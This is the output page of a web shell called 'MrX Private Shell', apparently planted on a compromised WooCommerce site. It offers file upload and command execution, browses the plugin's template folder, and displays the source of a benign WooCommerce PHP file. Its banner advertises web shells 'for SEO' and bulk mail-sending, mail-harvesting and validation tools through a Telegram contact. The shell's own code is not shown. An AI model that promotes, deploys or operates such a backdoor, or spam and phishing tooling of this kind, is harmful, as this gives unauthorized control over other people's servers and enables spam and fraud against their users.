__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace Automattic\WooCommerce\Blocks\Templates;

/**
 * AbstractPageTemplate class.
 *
 * Shared logic for page templates.
 *
 * @internal
 */
abstract class AbstractPageTemplate extends AbstractTemplate {
	/**
	 * Initialization method.
	 */
	public function init() {
		add_filter( 'page_template_hierarchy', array( $this, 'page_template_hierarchy' ), 1 );
	}

	/**
	 * Returns the page object assigned to this template/page.
	 *
	 * @return \WP_Post|null Post object or null.
	 */
	abstract protected function get_placeholder_page();

	/**
	 * Should return true on pages/endpoints/routes where the template should be shown.
	 *
	 * @return boolean
	 */
	abstract protected function is_active_template();

	/**
	 * When the page should be displaying the template, add it to the hierarchy.
	 *
	 * This places the template name e.g. `cart`, at the beginning of the template hierarchy array. The hook priority
	 * is 1 to ensure it runs first; other consumers e.g. extensions, could therefore inject their own template instead
	 * of this one when using the default priority of 10.
	 *
	 * @param array $templates Templates that match the pages_template_hierarchy.
	 */
	public function page_template_hierarchy( $templates ) {
		if ( $this->is_active_template() ) {
			array_unshift( $templates, static::SLUG );
		}
		return $templates;
	}

	/**
	 * Forces the page title to match the template title when this template is active.
	 *
	 * Only applies when hooked into `pre_get_document_title`. Most templates used for pages will not require this because
	 * the page title should be used instead.
	 *
	 * @param string $title Page title.
	 * @return string
	 */
	public function page_template_title( $title ) {
		if ( $this->is_active_template() && $this->get_template_title() ) {
			return $this->get_template_title();
		}
		return $title;
	}
}

Filemanager

Name Type Size Permission Actions
AbstractPageTemplate.php File 1.81 KB 0664
AbstractTemplate.php File 737 B 0664
AbstractTemplateCompatibility.php File 5.76 KB 0664
AbstractTemplatePart.php File 332 B 0664
AbstractTemplateWithFallback.php File 1.8 KB 0664
ArchiveProductTemplatesCompatibility.php File 12.43 KB 0664
CartTemplate.php File 1.96 KB 0664
CheckoutHeaderTemplate.php File 863 B 0664
CheckoutTemplate.php File 2 KB 0664
ClassicTemplatesCompatibility.php File 2.37 KB 0664
ComingSoonSocialLinksTemplate.php File 1.11 KB 0664
ComingSoonTemplate.php File 2.58 KB 0664
ExternalProductAddToCartWithOptionsTemplate.php File 1021 B 0664
GroupedProductAddToCartWithOptionsTemplate.php File 1016 B 0664
MiniCartTemplate.php File 1.67 KB 0664
OrderConfirmationTemplate.php File 1.58 KB 0664
ProductAttributeTemplate.php File 2.69 KB 0664
ProductBrandTemplate.php File 1.74 KB 0664
ProductCatalogTemplate.php File 2.26 KB 0664
ProductCategoryTemplate.php File 1.74 KB 0664
ProductSearchResultsTemplate.php File 2.02 KB 0664
ProductTagTemplate.php File 1.72 KB 0664
SimpleProductAddToCartWithOptionsTemplate.php File 1011 B 0664
SingleProductTemplate.php File 9.17 KB 0664
SingleProductTemplateCompatibility.php File 14.43 KB 0664
VariableProductAddToCartWithOptionsTemplate.php File 1021 B 0664
Filemanager